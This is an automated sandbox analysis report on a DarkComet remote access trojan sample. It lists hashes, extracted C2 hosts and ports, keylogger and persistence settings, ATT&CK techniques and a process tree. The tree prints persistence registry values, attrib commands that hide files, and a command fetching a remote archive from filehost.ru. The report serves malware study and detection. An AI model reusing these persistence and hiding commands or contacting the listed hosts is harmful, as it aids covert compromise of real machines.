darkcomet | af6488903f41964f76e28c004f8cab733ce7a2a87c29eab6f38793e0ce852b1c

Analysis

max time kernel
149s
max time network
149s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-11-2024 16:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Программа.exe
Size

1.3MB
MD5

4fe5233fe247d7fe49ce80e8ea123822
SHA1

31b52c9c20f168cc13dc9a65f3cb3fa895dccfa8
SHA256

08915c724cd73b5f0272eeda53c2f86ba371521520f04d826ad171a564eb6f63
SHA512

824094053dff9a6cfa2279feb80ad7c638eda0c4517aa8f9c8dbb500bfda6ef40f6cd369b35bdfc098eb9f65572c9e561dc4b2921f7c34b0a0f3b48af25b81b5
SSDEEP

24576:QNQ0lNT0jhJgZUdYuWq1V4/LkLSL9tYavX5c3Nql1hVTSjCeCrz:H0HShJmEY8+/LB9tYaxc3Ng1hVZ7z

Score

10^/10

darkcomet wuàuclt cant kill discovery evasion persistence rat trojan

Malware Config

Extracted

Family

darkcomet

Botnet

wuàuclt Cant kill

minedroid.ddns.net:1604

minedroid1.ddns.net:1604

minedroid2.ddns.net:1604

minedroid.zapto.org:1604

Mutex

DC_MUTEX-WAY5XHM

Attributes

InstallPath
Sys32\wu�uclt.exe
gencode
u20uH1Gywf95
install
true
offline_keylogger
true
persistence
true
reg_key
Windows Update

Signatures

Darkcomet
DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.
trojan rat darkcomet
Darkcomet family
darkcomet

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

wu0uclt.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Users\\Admin\\AppData\\Local\\Temp\\Sys32\\wuàuclt.exe"	wu0uclt.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exe

pid	Process
2828	attrib.exe
2868	attrib.exe

Executes dropped EXE 3 IoCs

Processes:

wu0uclt.exeProgramm.exewuàuclt.exe

pid	Process
3020	wu0uclt.exe
2356	Programm.exe
2632	wuàuclt.exe

Loads dropped DLL 7 IoCs

Processes:

Программа.exewu0uclt.exeProgramm.exe

pid	Process
1860	Программа.exe
1860	Программа.exe
1860	Программа.exe
1860	Программа.exe
3020	wu0uclt.exe
3020	wu0uclt.exe
2356	Programm.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

wu0uclt.exewuàuclt.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Sys32\\wuàuclt.exe"	wu0uclt.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Sys32\\wuàuclt.exe"	wuàuclt.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

cmd.exeattrib.exeIEXPLORE.EXEProgramm.exePING.EXEcmd.execmd.exeattrib.exewuàuclt.exenotepad.exeПрограмма.exewu0uclt.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Programm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuàuclt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Программа.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wu0uclt.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

PING.EXEcmd.exe

pid	Process
2752	PING.EXE
2460	cmd.exe

Modifies Internet Explorer settings 1 TTPs 64 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "12"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "1108"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{89E82471-AB48-11EF-976E-62CAC36041A9} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "438713219"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "40"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "12"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "89"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000953bd8210872ea40aad5946cc0771cd3000000000200000000001066000000010000200000000731303057c7a2d91be00103fa1781adff40012e14fb2ff18eee6ffb14453b31000000000e80000000020000200000007e896024f3ca17fbf622ef0540f1332b73d6510090c860f385444e3cfc5b613120000000cdf4a0207f1d902bbc713ae99017dc7f91bf29c5421d061cd354ab40b96ccbce40000000d75956710c38c2bbcb8f1501f5f51ab341e79cd49d9eaed3ea38070bbe7eeb3ee52173a7ca3a05f3a0bef286a0ca4592c4b02b8afda9404427ebd6534c8963b6	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "9"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "1108"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "9"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "61"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "1051"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "40"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 3079a166553fdb01	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "12"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "61"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "150"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "9"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "1051"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "104"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "104"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "1051"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "40"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "118"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\ = "1108"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "0"	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000953bd8210872ea40aad5946cc0771cd30000000002000000000010660000000100002000000034919ffcc6399ab53c29a6c008e1e3c5a121f171c83609dfd5f87fa10e6bf25a000000000e800000000200002000000093b7272fb046090c65971093dd9368f5a7da168e83d099e9e2d7299e06ab2b5b9000000069946d5e4389502371e16d5931b7c0976167d238f202430d12489053a40da645664af1a0daeae71bac3ff9d5e8920ed80d8df72ead7a75c15eb3af19106210fdeb9a397d02856d6f8158abbac4c50ed31c40a01ac18dc2fd7b98ef65182184c6235bfc24dbfa9157edbe5c5446a78ba81c1e5eca75ca544b868dec7b8074d644022c97b84189f4818ebb29030b21563840000000a25e88a870ce6702fc5953eea006ab28f4baddd5ccdb2e0b5eb9dfb561bb7fecc9b973c7f2968742802d343660369ff953514e85b4e3be564252cbae9be11a45	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "89"	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\deephost.pw\Total = "118"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "61"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "150"	IEXPLORE.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
2752	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

wuàuclt.exe

pid	Process
2632	wuàuclt.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

wu0uclt.exewuàuclt.exe

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3020	wu0uclt.exe
Token: SeSecurityPrivilege	3020	wu0uclt.exe
Token: SeTakeOwnershipPrivilege	3020	wu0uclt.exe
Token: SeLoadDriverPrivilege	3020	wu0uclt.exe
Token: SeSystemProfilePrivilege	3020	wu0uclt.exe
Token: SeSystemtimePrivilege	3020	wu0uclt.exe
Token: SeProfSingleProcessPrivilege	3020	wu0uclt.exe
Token: SeIncBasePriorityPrivilege	3020	wu0uclt.exe
Token: SeCreatePagefilePrivilege	3020	wu0uclt.exe
Token: SeBackupPrivilege	3020	wu0uclt.exe
Token: SeRestorePrivilege	3020	wu0uclt.exe
Token: SeShutdownPrivilege	3020	wu0uclt.exe
Token: SeDebugPrivilege	3020	wu0uclt.exe
Token: SeSystemEnvironmentPrivilege	3020	wu0uclt.exe
Token: SeChangeNotifyPrivilege	3020	wu0uclt.exe
Token: SeRemoteShutdownPrivilege	3020	wu0uclt.exe
Token: SeUndockPrivilege	3020	wu0uclt.exe
Token: SeManageVolumePrivilege	3020	wu0uclt.exe
Token: SeImpersonatePrivilege	3020	wu0uclt.exe
Token: SeCreateGlobalPrivilege	3020	wu0uclt.exe
Token: 33	3020	wu0uclt.exe
Token: 34	3020	wu0uclt.exe
Token: 35	3020	wu0uclt.exe
Token: SeIncreaseQuotaPrivilege	2632	wuàuclt.exe
Token: SeSecurityPrivilege	2632	wuàuclt.exe
Token: SeTakeOwnershipPrivilege	2632	wuàuclt.exe
Token: SeLoadDriverPrivilege	2632	wuàuclt.exe
Token: SeSystemProfilePrivilege	2632	wuàuclt.exe
Token: SeSystemtimePrivilege	2632	wuàuclt.exe
Token: SeProfSingleProcessPrivilege	2632	wuàuclt.exe
Token: SeIncBasePriorityPrivilege	2632	wuàuclt.exe
Token: SeCreatePagefilePrivilege	2632	wuàuclt.exe
Token: SeBackupPrivilege	2632	wuàuclt.exe
Token: SeRestorePrivilege	2632	wuàuclt.exe
Token: SeShutdownPrivilege	2632	wuàuclt.exe
Token: SeDebugPrivilege	2632	wuàuclt.exe
Token: SeSystemEnvironmentPrivilege	2632	wuàuclt.exe
Token: SeChangeNotifyPrivilege	2632	wuàuclt.exe
Token: SeRemoteShutdownPrivilege	2632	wuàuclt.exe
Token: SeUndockPrivilege	2632	wuàuclt.exe
Token: SeManageVolumePrivilege	2632	wuàuclt.exe
Token: SeImpersonatePrivilege	2632	wuàuclt.exe
Token: SeCreateGlobalPrivilege	2632	wuàuclt.exe
Token: 33	2632	wuàuclt.exe
Token: 34	2632	wuàuclt.exe
Token: 35	2632	wuàuclt.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid	Process
780	iexplore.exe

Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

wuàuclt.exeiexplore.exeIEXPLORE.EXE

pid	Process
2632	wuàuclt.exe
780	iexplore.exe
780	iexplore.exe
2692	IEXPLORE.EXE
2692	IEXPLORE.EXE
2692	IEXPLORE.EXE
2692	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Программа.execmd.exewu0uclt.execmd.execmd.exewuàuclt.exeProgramm.exeiexplore.exe

description	pid	Process	procid_target
PID 1860 wrote to memory of 3020	1860	Программа.exe	30
PID 1860 wrote to memory of 3020	1860	Программа.exe	30
PID 1860 wrote to memory of 3020	1860	Программа.exe	30
PID 1860 wrote to memory of 3020	1860	Программа.exe	30
PID 1860 wrote to memory of 2356	1860	Программа.exe	31
PID 1860 wrote to memory of 2356	1860	Программа.exe	31
PID 1860 wrote to memory of 2356	1860	Программа.exe	31
PID 1860 wrote to memory of 2356	1860	Программа.exe	31
PID 1860 wrote to memory of 2460	1860	Программа.exe	32
PID 1860 wrote to memory of 2460	1860	Программа.exe	32
PID 1860 wrote to memory of 2460	1860	Программа.exe	32
PID 1860 wrote to memory of 2460	1860	Программа.exe	32
PID 2460 wrote to memory of 2752	2460	cmd.exe	34
PID 2460 wrote to memory of 2752	2460	cmd.exe	34
PID 2460 wrote to memory of 2752	2460	cmd.exe	34
PID 2460 wrote to memory of 2752	2460	cmd.exe	34
PID 3020 wrote to memory of 2848	3020	wu0uclt.exe	35
PID 3020 wrote to memory of 2848	3020	wu0uclt.exe	35
PID 3020 wrote to memory of 2848	3020	wu0uclt.exe	35
PID 3020 wrote to memory of 2848	3020	wu0uclt.exe	35
PID 3020 wrote to memory of 2740	3020	wu0uclt.exe	37
PID 3020 wrote to memory of 2740	3020	wu0uclt.exe	37
PID 3020 wrote to memory of 2740	3020	wu0uclt.exe	37
PID 3020 wrote to memory of 2740	3020	wu0uclt.exe	37
PID 2848 wrote to memory of 2828	2848	cmd.exe	39
PID 2848 wrote to memory of 2828	2848	cmd.exe	39
PID 2848 wrote to memory of 2828	2848	cmd.exe	39
PID 2848 wrote to memory of 2828	2848	cmd.exe	39
PID 2740 wrote to memory of 2868	2740	cmd.exe	40
PID 2740 wrote to memory of 2868	2740	cmd.exe	40
PID 2740 wrote to memory of 2868	2740	cmd.exe	40
PID 2740 wrote to memory of 2868	2740	cmd.exe	40
PID 3020 wrote to memory of 2632	3020	wu0uclt.exe	41
PID 3020 wrote to memory of 2632	3020	wu0uclt.exe	41
PID 3020 wrote to memory of 2632	3020	wu0uclt.exe	41
PID 3020 wrote to memory of 2632	3020	wu0uclt.exe	41
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2632 wrote to memory of 2660	2632	wuàuclt.exe	42
PID 2356 wrote to memory of 780	2356	Programm.exe	44
PID 2356 wrote to memory of 780	2356	Programm.exe	44
PID 2356 wrote to memory of 780	2356	Programm.exe	44
PID 2356 wrote to memory of 780	2356	Programm.exe	44
PID 780 wrote to memory of 2692	780	iexplore.exe	45

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Processes:

attrib.exeattrib.exe

pid	Process
2868	attrib.exe
2828	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Программа.exe
"C:\Users\Admin\AppData\Local\Temp\Программа.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Users\Admin\AppData\Local\Temp\wu0uclt.exe
  "C:\Users\Admin\AppData\Local\Temp\wu0uclt.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\Temp\wu0uclt.exe" +s +h
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Users\Admin\AppData\Local\Temp\wu0uclt.exe" +s +h
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2828
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k attrib "C:\Users\Admin\AppData\Local\Temp" +s +h
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Users\Admin\AppData\Local\Temp" +s +h
      4⤵
      Sets file to hidden
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2868
- - C:\Users\Admin\AppData\Local\Temp\Sys32\wuàuclt.exe
    "C:\Users\Admin\AppData\Local\Temp\Sys32\wuàuclt.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2632
  - - C:\Windows\SysWOW64\notepad.exe
      notepad
      4⤵
      System Location Discovery: System Language Discovery
      PID:2660
- C:\Users\Admin\AppData\Local\Temp\Programm.exe
  "C:\Users\Admin\AppData\Local\Temp\Programm.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://filehost.ru/upd/updatev162.zip
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:780
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:780 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2692
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping -n 3 127.0.0.1 & copy /Y "C:\Users\Admin\AppData\Local\Temp\Programm.exe" "C:\Users\Admin\AppData\Local\Temp\?????????.exe" >> NUL
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

